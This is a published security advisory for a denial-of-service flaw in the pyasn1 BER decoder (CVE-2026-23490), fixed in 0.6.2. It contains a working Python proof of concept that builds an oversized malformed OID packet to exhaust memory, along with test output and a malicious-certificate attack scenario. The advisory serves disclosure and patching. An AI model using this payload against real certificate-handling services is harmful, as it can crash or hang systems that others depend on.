GHSA-63VM-454H-VHHQ

Vulnerability from github – Published: 2026-01-16 19:19 – Updated: 2026-01-16 21:55
VLAI?
Summary
pyasn1 has a DoS vulnerability in decoder
Details

Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

Details

The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

PoC

For the DoS:

import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')


print("\n[*] Test completed")

Screenshots with the results:

DoS

Screenshot_20251219_160840

Screenshot_20251219_152815

Leak analysis

A potential heap leak was investigated but came back clean:

[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin

[*] First 64 bytes (hex):
  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081

[*] First 64 bytes (ASCII/hex dump):
  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.

[*] Digit distribution analysis:
  '0':  10.1%
  '1':   9.9%
  '2':  10.0%
  '3':   9.9%
  '4':   9.9%
  '5':  10.0%
  '6':  10.0%
  '7':  10.0%
  '8':   9.9%
  '9':  10.1%

Scenario

  1. An attacker creates a malicious X.509 certificate.
  2. The application validates certificates.
  3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

Impact

This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

Recommendation

Add a limit to the allowed bytes in the decoder.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyasn1"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.1"
            },
            {
              "fixed": "0.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.6.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-16T19:19:25Z",
    "nvd_published_at": "2026-01-16T19:16:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
  "id": "GHSA-63vm-454h-vhhq",
  "modified": "2026-01-16T21:55:59Z",
  "published": "2026-01-16T19:19:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyasn1/pyasn1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyasn1 has a DoS vulnerability in decoder"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…